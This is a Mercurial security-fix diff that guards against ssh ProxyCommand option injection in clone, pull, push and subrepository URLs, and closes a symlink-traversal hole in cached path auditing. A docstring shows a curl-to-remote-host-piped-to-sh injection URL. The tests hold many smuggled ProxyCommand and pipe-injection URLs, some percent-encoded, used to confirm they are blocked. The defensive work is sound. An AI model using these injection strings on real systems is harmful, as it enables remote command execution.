diff --git a/.hgsigs b/.hgsigs --- a/.hgsigs +++ b/.hgsigs @@ -149,3 +149,4 @@ 857876ebaed4e315f63157bd157d6ce553c7ab73 0 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 diff --git a/.hgtags b/.hgtags --- a/.hgtags +++ b/.hgtags @@ -162,3 +162,4 @@ 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc 5544af8622863796a0027566f6b646e10d522c4c 4.3 943c91326b23954e6e1c6960d0239511f9530258 4.2.3 +3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1 diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py --- a/hgext/fsmonitor/__init__.py +++ b/hgext/fsmonitor/__init__.py @@ -382,7 +382,7 @@ visit.update(f for f in copymap if f not in results and matchfn(f)) - audit = pathutil.pathauditor(self._root).check + audit = pathutil.pathauditor(self._root, cached=True).check auditpass = [f for f in visit if audit(f)] auditpass.sort() auditfail = visit.difference(auditpass) diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py --- a/mercurial/cmdutil.py +++ b/mercurial/cmdutil.py @@ -3539,7 +3539,7 @@ pass repo.dirstate.remove(f) - audit_path = pathutil.pathauditor(repo.root) + audit_path = pathutil.pathauditor(repo.root, cached=True) for f in actions['forget'][0]: if interactive: choice = repo.ui.promptchoice( diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py --- a/mercurial/dirstate.py +++ b/mercurial/dirstate.py @@ -1152,7 +1152,7 @@ # that wasn't ignored, and everything that matched was stat'ed # and is already in results. # The rest must thus be ignored or under a symlink. - audit_path = pathutil.pathauditor(self._root) + audit_path = pathutil.pathauditor(self._root, cached=True) for nf in iter(visit): # If a stat for the same file was already added with a diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py --- a/mercurial/localrepo.py +++ b/mercurial/localrepo.py @@ -334,11 +334,11 @@ # only used when writing this comment: basectx.match self.auditor = pathutil.pathauditor(self.root, self._checknested) self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, - realfs=False) + realfs=False, cached=True) self.baseui = baseui self.ui = baseui.copy() self.ui.copy = baseui.copy # prevent copying repo configuration - self.vfs = vfsmod.vfs(self.path) + self.vfs = vfsmod.vfs(self.path, cacheaudited=True) if (self.ui.configbool('devel', 'all-warnings') or self.ui.configbool('devel', 'check-locks')): self.vfs.audit = self._getvfsward(self.vfs.audit) @@ -421,12 +421,13 @@ '"sparse" extensions to access')) self.store = store.store( - self.requirements, self.sharedpath, vfsmod.vfs) + self.requirements, self.sharedpath, + lambda base: vfsmod.vfs(base, cacheaudited=True)) self.spath = self.store.path self.svfs = self.store.vfs self.sjoin = self.store.join self.vfs.createmode = self.store.createmode - self.cachevfs = vfsmod.vfs(cachepath) + self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) self.cachevfs.createmode = self.store.createmode if (self.ui.configbool('devel', 'all-warnings') or self.ui.configbool('devel', 'check-locks')): diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py --- a/mercurial/pathutil.py +++ b/mercurial/pathutil.py @@ -33,13 +33,18 @@ The file system checks are only done when 'realfs' is set to True (the default). They should be disable then we are auditing path for operation on stored history. + + If 'cached' is set to True, audited paths and sub-directories are cached. + Be careful to not keep the cache of unmanaged directories for long because + audited paths may be replaced with symlinks. ''' - def __init__(self, root, callback=None, realfs=True): + def __init__(self, root, callback=None, realfs=True, cached=False): self.audited = set() self.auditeddir = set() self.root = root self._realfs = realfs + self._cached = cached self.callback = callback if os.path.lexists(root) and not util.fscasesensitive(root): self.normcase = util.normcase @@ -96,10 +101,11 @@ self._checkfs(prefix, path) prefixes.append(normprefix) - self.audited.add(normpath) - # only add prefixes to the cache after checking everything: we don't - # want to add "foo/bar/baz" before checking if there's a "foo/.hg" - self.auditeddir.update(prefixes) + if self._cached: + self.audited.add(normpath) + # only add prefixes to the cache after checking everything: we don't + # want to add "foo/bar/baz" before checking if there's a "foo/.hg" + self.auditeddir.update(prefixes) def _checkfs(self, prefix, path): """raise exception if a file system backed check fails""" diff --git a/mercurial/posix.py b/mercurial/posix.py --- a/mercurial/posix.py +++ b/mercurial/posix.py @@ -23,6 +23,7 @@ from .i18n import _ from . import ( encoding, + error, pycompat, ) @@ -91,7 +92,13 @@ def sshargs(sshcmd, host, user, port): '''Build argument list for ssh''' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s -p %s" % (args, port)) or args + if '-' in args[:1]: + raise error.Abort( + _('illegal ssh hostname or username starting with -: %s') % args) + args = shellquote(args) + if port: + args = '-p %s %s' % (shellquote(port), args) + return args def isexec(f): """check whether a file is executable""" diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py --- a/mercurial/scmutil.py +++ b/mercurial/scmutil.py @@ -738,7 +738,7 @@ This is different from dirstate.status because it doesn't care about whether files are modified or clean.''' added, unknown, deleted, removed, forgotten = [], [], [], [], [] - audit_path = pathutil.pathauditor(repo.root) + audit_path = pathutil.pathauditor(repo.root, cached=True) ctx = repo[None] dirstate = repo.dirstate diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py --- a/mercurial/sshpeer.py +++ b/mercurial/sshpeer.py @@ -124,6 +124,8 @@ if u.scheme != 'ssh' or not u.host or u.path is None: self._abort(error.RepoError(_("couldn't parse location %s") % path)) + util.checksafessh(path) + self.user = u.user if u.passwd is not None: self._abort(error.RepoError(_("password in URL not supported"))) @@ -134,10 +136,7 @@ sshcmd = self.ui.config("ui", "ssh") remotecmd = self.ui.config("ui", "remotecmd") - args = util.sshargs(sshcmd, - _serverquote(self.host), - _serverquote(self.user), - _serverquote(self.port)) + args = util.sshargs(sshcmd, self.host, self.user, self.port) if create: cmd = '%s %s %s' % (sshcmd, args, diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py --- a/mercurial/subrepo.py +++ b/mercurial/subrepo.py @@ -1281,6 +1281,10 @@ # The revision must be specified at the end of the URL to properly # update to a directory which has since been deleted and recreated. args.append('%s@%s' % (state[0], state[1])) + + # SEC: check that the ssh url is safe + util.checksafessh(state[0]) + status, err = self._svncommand(args, failok=True) _sanitize(self.ui, self.wvfs, '.svn') if not re.search('Checked out revision [0-9]+.', status): @@ -1546,6 +1550,9 @@ def _fetch(self, source, revision): if self._gitmissing(): + # SEC: check for safe ssh url + util.checksafessh(source) + source = self._abssource(source) self.ui.status(_('cloning subrepo %s from %s\n') % (self._relpath, source)) diff --git a/mercurial/util.py b/mercurial/util.py --- a/mercurial/util.py +++ b/mercurial/util.py @@ -2907,6 +2907,21 @@ def urllocalpath(path): return url(path, parsequery=False, parsefragment=False).localpath() +def checksafessh(path): + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urlreq.unquote(path) + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): + raise error.Abort(_('potentially unsafe url: %r') % + (path,)) + def hidepassword(u): '''hide user credential in a url string''' u = url(u) diff --git a/mercurial/vfs.py b/mercurial/vfs.py --- a/mercurial/vfs.py +++ b/mercurial/vfs.py @@ -295,8 +295,13 @@ This class is used to hide the details of COW semantics and remote file access from higher level code. + + 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or + (b) the base directory is managed by hg and considered sort-of append-only. + See pathutil.pathauditor() for details. ''' - def __init__(self, base, audit=True, expandpath=False, realpath=False): + def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, + realpath=False): if expandpath: base = util.expandpath(base) if realpath: @@ -304,7 +309,7 @@ self.base = base self._audit = audit if audit: - self.audit = pathutil.pathauditor(self.base) + self.audit = pathutil.pathauditor(self.base, cached=cacheaudited) else: self.audit = (lambda path, mode=None: True) self.createmode = None diff --git a/mercurial/windows.py b/mercurial/windows.py --- a/mercurial/windows.py +++ b/mercurial/windows.py @@ -17,6 +17,7 @@ from .i18n import _ from . import ( encoding, + error, policy, pycompat, win32, @@ -203,7 +204,14 @@ '''Build argument list for ssh or Plink''' pflag = 'plink' in sshcmd.lower() and '-P' or '-p' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s %s %s" % (args, pflag, port)) or args + if args.startswith('-') or args.startswith('/'): + raise error.Abort( + _('illegal ssh hostname or username starting with - or /: %s') % + args) + args = shellquote(args) + if port: + args = '%s %s %s' % (pflag, shellquote(port), args) + return args def setflags(f, l, x): pass diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t --- a/tests/test-audit-path.t +++ b/tests/test-audit-path.t @@ -129,3 +129,103 @@ [255] $ cd .. + +Test symlink traversal on merge: +-------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: file a/poisoned + | + | o 1: symlink a -> ../merge-symlink-out + |/ + o 0: base + + +try trivial merge + + $ hg up -qC 1 + $ hg merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + +try rebase onto other revision: cache of audited paths should be discarded, +and the rebase should fail (issue5628) + + $ hg up -qC 2 + $ hg rebase -s 2 -d 1 --config extensions.rebase= + rebasing 2:e73c21d6b244 "file a/poisoned" (tip) + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + + $ cd .. + +Test symlink traversal on update: +--------------------------------- + + $ mkdir update-symlink-out + $ hg init update-symlink + $ cd update-symlink + $ ln -s ../update-symlink-out a + $ hg commit -qAm 'symlink a -> ../update-symlink-out' + $ hg rm a + $ mkdir a && touch a/b + $ hg ci -qAm 'file a/b' a/b + $ hg up -qC 0 + $ hg rm a + $ mkdir a && touch a/c + $ hg ci -qAm 'rm a, file a/c' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: rm a, file a/c + | + | o 1: file a/b + |/ + o 0: symlink a -> ../update-symlink-out + + +try linear update where symlink already exists: + + $ hg up -qC 0 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + +try linear update including symlinked directory and its content: paths are +audited first by calculateupdates(), where no symlink is created so both +'a' and 'a/b' are taken as good paths. still applyupdates() should fail. + + $ hg up -qC null + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + +try branch update replacing directory with symlink, and its content: the +path 'a' is audited as a directory first, which should be audited again as +a symlink. + + $ rm -f a + $ hg up -qC 2 + $ hg up 1 + abort: path 'a/b' traverses symbolic link 'a' + [255] + $ ls ../update-symlink-out + + $ cd .. + +#endif diff --git a/tests/test-clone.t b/tests/test-clone.t --- a/tests/test-clone.t +++ b/tests/test-clone.t @@ -1097,3 +1097,66 @@ adding remote bookmark bookA updating working directory 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg clone 'ssh://fakehost|touch%20owned/path' + abort: no suitable response from remote hg! + [255] + $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' + abort: no suitable response from remote hg! + [255] + + $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' + [255] + +#if windows + $ hg clone "ssh://%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#else + $ hg clone "ssh://%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug + running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] +#endif + + $ hg clone "ssh://v-alid.example.com/" --debug + running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) + sending hello command + sending between command + abort: no suitable response from remote hg! + [255] + +We should not have created a file named owned - if it exists, the +attack succeeded. + $ if test -f owned; then echo 'you got owned'; fi diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t --- a/tests/test-commandserver.t +++ b/tests/test-commandserver.t @@ -908,3 +908,80 @@ *** runcommand log 0 bar (bar) *** runcommand verify -q + + $ cd .. + +Test symlink traversal over cached audited paths: +------------------------------------------------- + +#if symlink + +set up symlink hell + + $ mkdir merge-symlink-out + $ hg init merge-symlink + $ cd merge-symlink + $ touch base + $ hg commit -qAm base + $ ln -s ../merge-symlink-out a + $ hg commit -qAm 'symlink a -> ../merge-symlink-out' + $ hg up -q 0 + $ mkdir a + $ touch a/poisoned + $ hg commit -qAm 'file a/poisoned' + $ hg log -G -T '{rev}: {desc}\n' + @ 2: file a/poisoned + | + | o 1: symlink a -> ../merge-symlink-out + |/ + o 0: base + + +try trivial merge after update: cache of audited paths should be discarded, +and the merge should fail (issue5628) + + $ hg up -q null + >>> from hgclient import readchannel, runcommand, check + >>> @check + ... def merge(server): + ... readchannel(server) + ... # audit a/poisoned as a good path + ... runcommand(server, ['up', '-qC', '2']) + ... runcommand(server, ['up', '-qC', '1']) + ... # here a is a symlink, so a/poisoned is bad + ... runcommand(server, ['merge', '2']) + *** runcommand up -qC 2 + *** runcommand up -qC 1 + *** runcommand merge 2 + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + $ ls ../merge-symlink-out + +cache of repo.auditor should be discarded, so matcher would never traverse +symlinks: + + $ hg up -qC 0 + $ touch ../merge-symlink-out/poisoned + >>> from hgclient import readchannel, runcommand, check + >>> @check + ... def files(server): + ... readchannel(server) + ... runcommand(server, ['up', '-qC', '2']) + ... # audit a/poisoned as a good path + ... runcommand(server, ['files', 'a/poisoned']) + ... runcommand(server, ['up', '-qC', '0']) + ... runcommand(server, ['up', '-qC', '1']) + ... # here 'a' is a symlink, so a/poisoned should be warned + ... runcommand(server, ['files', 'a/poisoned']) + *** runcommand up -qC 2 + *** runcommand files a/poisoned + a/poisoned + *** runcommand up -qC 0 + *** runcommand up -qC 1 + *** runcommand files a/poisoned + abort: path 'a/poisoned' traverses symbolic link 'a' + [255] + + $ cd .. + +#endif diff --git a/tests/test-pull.t b/tests/test-pull.t --- a/tests/test-pull.t +++ b/tests/test-pull.t @@ -105,4 +105,30 @@ $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` $ hg pull -q "$URL" +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://fakehost|touch${IFS}owned/path' + pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg! + [255] + $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' + pulling from ssh://fakehost%7Ctouch%20owned/path + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned' + $ cd .. diff --git a/tests/test-push.t b/tests/test-push.t --- a/tests/test-push.t +++ b/tests/test-push.t @@ -316,3 +316,29 @@ adding manifests adding file changes added 1 changesets with 1 changes to 1 files + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path' + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path' + pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg! + [255] + $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path' + pushing to ssh://fakehost%7Ctouch%20owned/path + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned' diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t --- a/tests/test-ssh-bundle1.t +++ b/tests/test-ssh-bundle1.t @@ -461,7 +461,7 @@ $ hg pull --debug ssh://user@dummy/remote pulling from ssh://user@dummy/remote - running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) + running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) sending hello command sending between command remote: 355 diff --git a/tests/test-ssh.t b/tests/test-ssh.t --- a/tests/test-ssh.t +++ b/tests/test-ssh.t @@ -477,7 +477,7 @@ $ hg pull --debug ssh://user@dummy/remote pulling from ssh://user@dummy/remote - running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) + running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) sending hello command sending between command remote: 355 diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t --- a/tests/test-subrepo-git.t +++ b/tests/test-subrepo-git.t @@ -1182,3 +1182,34 @@ pwned: you asked for it #endif + +test for ssh exploit with git subrepos 2017-07-25 + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ git init s + Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ + $ cd s + $ git commit --allow-empty -m 'empty' + [master (root-commit) 153f934] empty + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") + [255] diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t --- a/tests/test-subrepo-svn.t +++ b/tests/test-subrepo-svn.t @@ -639,3 +639,43 @@ $ hg update -q -C '.^1' $ cd ../.. + +SEC: test for ssh exploit + + $ hg init ssh-vuln + $ cd ssh-vuln + $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub + $ svn co --quiet "$SVNREPOURL"/src s + $ hg add .hgsub + $ hg ci -m1 + $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m2 + $ cd .. + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") + [255] + +also check that hiding the attack in the username doesn't work: + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s") + [255] diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t --- a/tests/test-subrepo.t +++ b/tests/test-subrepo.t @@ -1789,3 +1789,77 @@ +bar $ cd .. + +test for ssh exploit 2017-07-25 + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg init s + $ cd s + $ echo init > init + $ hg add + adding init + $ hg commit -m init + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") + [255] + +also check for a pipe + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +also check that a percent encoded '|' (%7C) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +and bad usernames: + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub + $ hg ci -m 'owned username' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s") + [255]